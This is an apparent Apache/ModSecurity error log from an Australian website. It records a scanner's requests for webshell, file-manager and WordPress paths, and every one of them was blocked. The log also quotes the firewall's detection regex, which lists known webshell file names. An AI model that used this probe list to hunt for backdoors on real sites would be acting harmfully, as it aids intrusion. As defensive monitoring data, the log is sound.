[Tue Mar 24 01:48:14.533044 2026] [:error] [pid 56237:tid 56335] [client 194.5.82.84:32531] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "acF83gymO0MnzQb90MMyyQAAAI4"]
[Tue Mar 24 01:48:14.712446 2026] [:error] [pid 31798:tid 31812] [client 194.5.82.93:43467] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "acF83ndtW_1bksndFbY5AgAAAAw"]
[Tue Mar 24 01:48:14.892548 2026] [:error] [pid 31798:tid 31816] [client 194.5.82.60:47219] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "acF83ndtW_1bksndFbY5BQAAABA"]
[Tue Mar 24 01:48:15.073893 2026] [:error] [pid 56236:tid 56314] [client 194.5.82.56:48267] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/config.php"] [unique_id "acF833apFgYp0uZ8twAsagAAAFU"]
[Tue Mar 24 01:48:15.254981 2026] [:error] [pid 56435:tid 56507] [client 194.5.82.167:22295] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/test.php"] [unique_id "acF838rwr-l5A-s9ryCP4QAAAQc"]
[Tue Mar 24 01:48:15.433888 2026] [:error] [pid 56435:tid 56508] [client 194.5.82.77:37665] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/header.php"] [unique_id "acF838rwr-l5A-s9ryCP4gAAAQg"]
[Tue Mar 24 01:48:15.614721 2026] [:error] [pid 56236:tid 56306] [client 194.5.82.63:27511] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/system_core.php"] [unique_id "acF833apFgYp0uZ8twAscQAAAE0"]
[Tue Mar 24 01:48:15.794798 2026] [:error] [pid 56237:tid 56341] [client 194.5.82.98:41121] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system_core.php"] [unique_id "acF83wymO0MnzQb90MMyygAAAJQ"]
[Tue Mar 24 01:48:15.975403 2026] [:error] [pid 56238:tid 56348] [client 194.5.82.78:50299] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "acF831SqceFAZRgPDq6uggAAAMA"]
[Tue Mar 24 01:48:16.161153 2026] [:error] [pid 56238:tid 56365] [client 194.5.82.90:30917] [client 194.5.82.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "acF84FSqceFAZRgPDq6ugwAAANE"]
[Tue Mar 24 01:48:18.061467 2026] [:error] [pid 56238:tid 56371] [client 194.5.82.96:50561] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "acF84lSqceFAZRgPDq6uigAAANc"]
[Tue Mar 24 01:48:18.246454 2026] [:error] [pid 31798:tid 31811] [client 194.5.82.71:43959] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "acF84ndtW_1bksndFbY5EgAAAAs"]
[Tue Mar 24 01:48:18.428372 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.84:58013] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/upload/zczv.php"] [unique_id "acF84napFgYp0uZ8twAsdwAAAFE"]
[Tue Mar 24 01:48:18.606897 2026] [:error] [pid 56236:tid 56302] [client 194.5.82.94:61167] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "acF84napFgYp0uZ8twAseQAAAEk"]
[Tue Mar 24 01:48:18.788420 2026] [:error] [pid 56435:tid 56500] [client 194.5.82.55:55803] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "acF84srwr-l5A-s9ryCP6QAAAQE"]
[Tue Mar 24 01:48:18.969762 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.64:65485] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/"] [unique_id "acF84srwr-l5A-s9ryCP6gAAAQ4"]
[Tue Mar 24 01:48:19.155246 2026] [:error] [pid 56237:tid 56321] [client 194.5.82.77:47635] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/speculative8.php"] [unique_id "acF84wymO0MnzQb90MMyzAAAAIA"]
[Tue Mar 24 01:48:19.335814 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.94:28507] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/assets/images/selam.php"] [unique_id "acF843dtW_1bksndFbY5FQAAAAc"]
[Tue Mar 24 01:48:19.517421 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.88:45521] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "acF848rwr-l5A-s9ryCP6wAAAQQ"]
[Tue Mar 24 01:48:19.697049 2026] [:error] [pid 56435:tid 56523] [client 194.5.82.70:21459] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "acF848rwr-l5A-s9ryCP7QAAARY"]
[Tue Mar 24 01:48:19.878786 2026] [:error] [pid 56435:tid 56520] [client 194.5.82.81:22519] [client 194.5.82.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acF848rwr-l5A-s9ryCP7gAAARM"]
[Tue Mar 24 01:48:20.059090 2026] [:error] [pid 31798:tid 31816] [client 194.5.82.100:51659] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "acF85HdtW_1bksndFbY5GQAAABA"]
[Tue Mar 24 01:48:20.239082 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.60:50711] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "acF85HdtW_1bksndFbY5GwAAAAM"]
[Tue Mar 24 01:48:20.421925 2026] [:error] [pid 56435:tid 56508] [client 194.5.82.167:33403] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "acF85Mrwr-l5A-s9ryCP8QAAAQg"]
[Tue Mar 24 01:48:20.604710 2026] [:error] [pid 56435:tid 56509] [client 194.5.82.73:50257] [client 194.5.82.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/"] [unique_id "acF85Mrwr-l5A-s9ryCP8gAAAQk"]
[Tue Mar 24 01:48:20.785619 2026] [:error] [pid 31798:tid 31800] [client 194.5.82.91:27935] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/"] [unique_id "acF85HdtW_1bksndFbY5HgAAAAA"]
[Tue Mar 24 01:48:20.965471 2026] [:error] [pid 56435:tid 56500] [client 194.5.82.96:62867] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "acF85Mrwr-l5A-s9ryCP9QAAAQE"]
[Tue Mar 24 01:48:21.146396 2026] [:error] [pid 31798:tid 31806] [client 194.5.82.55:51261] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/updates.php"] [unique_id "acF85XdtW_1bksndFbY5HwAAAAY"]
[Tue Mar 24 01:48:21.326012 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.90:51233] [client 194.5.82.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/"] [unique_id "acF85crwr-l5A-s9ryCP9wAAAQQ"]
[Tue Mar 24 01:48:21.506129 2026] [:error] [pid 56435:tid 56525] [client 194.5.82.56:58115] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "acF85crwr-l5A-s9ryCP-AAAARg"]
[Tue Mar 24 01:48:21.686088 2026] [:error] [pid 56237:tid 56339] [client 194.5.82.102:65209] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/class.api.php"] [unique_id "acF85QymO0MnzQb90MMyzQAAAJI"]
[Tue Mar 24 01:48:21.866295 2026] [:error] [pid 56238:tid 56372] [client 194.5.82.70:25657] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "acF85VSqceFAZRgPDq6ujAAAANg"]
[Tue Mar 24 01:48:22.048384 2026] [:error] [pid 56237:tid 56326] [client 194.5.82.91:62265] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "acF85gymO0MnzQb90MMyzwAAAIU"]
[Tue Mar 24 01:48:22.226972 2026] [:error] [pid 56238:tid 56352] [client 194.5.82.69:53159] [client 194.5.82.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/comments/feed/"] [unique_id "acF85lSqceFAZRgPDq6ujwAAAMQ"]
[Tue Mar 24 01:48:22.408557 2026] [:error] [pid 56238:tid 56354] [client 194.5.82.57:59925] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "acF85lSqceFAZRgPDq6ukAAAAMY"]
[Tue Mar 24 01:48:22.588024 2026] [:error] [pid 56237:tid 56322] [client 194.5.82.100:54317] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/cache/"] [unique_id "acF85gymO0MnzQb90MMy0QAAAIE"]
[Tue Mar 24 01:48:22.769459 2026] [:error] [pid 56237:tid 56345] [client 194.5.82.99:33363] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "acF85gymO0MnzQb90MMy0wAAAJg"]
[Tue Mar 24 01:48:22.950068 2026] [:error] [pid 56238:tid 56351] [client 194.5.82.56:44789] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/shell.php"] [unique_id "acF85lSqceFAZRgPDq6ukgAAAMM"]
[Tue Mar 24 01:48:23.131831 2026] [:error] [pid 56238:tid 56370] [client 194.5.82.83:38571] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "acF851SqceFAZRgPDq6ukwAAANY"]
[Tue Mar 24 01:48:23.310552 2026] [:error] [pid 56238:tid 56368] [client 194.5.82.95:31357] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/"] [unique_id "acF851SqceFAZRgPDq6ulgAAANQ"]
[Tue Mar 24 01:48:23.491285 2026] [:error] [pid 56237:tid 56343] [client 194.5.82.99:56709] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "acF85wymO0MnzQb90MMy2AAAAJY"]
[Tue Mar 24 01:48:23.671662 2026] [:error] [pid 56237:tid 56334] [client 194.5.82.54:47631] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "acF85wymO0MnzQb90MMy2gAAAI0"]
[Tue Mar 24 01:48:23.853844 2026] [:error] [pid 56237:tid 56326] [client 194.5.82.86:24203] [client 194.5.82.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "acF85wymO0MnzQb90MMy2wAAAIU"]
[Tue Mar 24 01:48:24.058070 2026] [:error] [pid 56237:tid 56344] [client 194.5.82.103:33613] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "acF86AymO0MnzQb90MMy3AAAAJc"]
[Tue Mar 24 01:48:24.238884 2026] [:error] [pid 56237:tid 56337] [client 194.5.82.167:58615] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/"] [unique_id "acF86AymO0MnzQb90MMy3wAAAJA"]
[Tue Mar 24 01:48:24.418326 2026] [:error] [pid 56237:tid 56342] [client 194.5.82.79:40725] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "acF86AymO0MnzQb90MMy4AAAAJU"]
[Tue Mar 24 01:48:24.599584 2026] [:error] [pid 56435:tid 56507] [client 194.5.82.78:39361] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acF86Mrwr-l5A-s9ryCP-gAAAQc"]
[Tue Mar 24 01:48:24.781077 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.60:63647] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/"] [unique_id "acF86HdtW_1bksndFbY5IgAAABM"]
[Tue Mar 24 01:48:24.961823 2026] [:error] [pid 31798:tid 31809] [client 194.5.82.72:50451] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "acF86HdtW_1bksndFbY5IwAAAAk"]
[Tue Mar 24 01:48:25.141577 2026] [:error] [pid 56435:tid 56501] [client 194.5.82.103:45859] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "acF86crwr-l5A-s9ryCP_AAAAQI"]
[Tue Mar 24 01:48:25.323378 2026] [:error] [pid 31798:tid 31816] [client 194.5.82.73:28363] [client 194.5.82.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "acF86XdtW_1bksndFbY5JQAAABA"]
[Tue Mar 24 01:48:27.177526 2026] [:error] [pid 56236:tid 56307] [client 194.5.82.79:37019] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "acF863apFgYp0uZ8twAshAAAAE4"]
[Tue Mar 24 01:48:27.359030 2026] [:error] [pid 56236:tid 56316] [client 194.5.82.68:21125] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "acF863apFgYp0uZ8twAshQAAAFc"]
[Tue Mar 24 01:48:27.538996 2026] [:error] [pid 31798:tid 31811] [client 194.5.82.88:54855] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acF863dtW_1bksndFbY5KAAAAAs"]
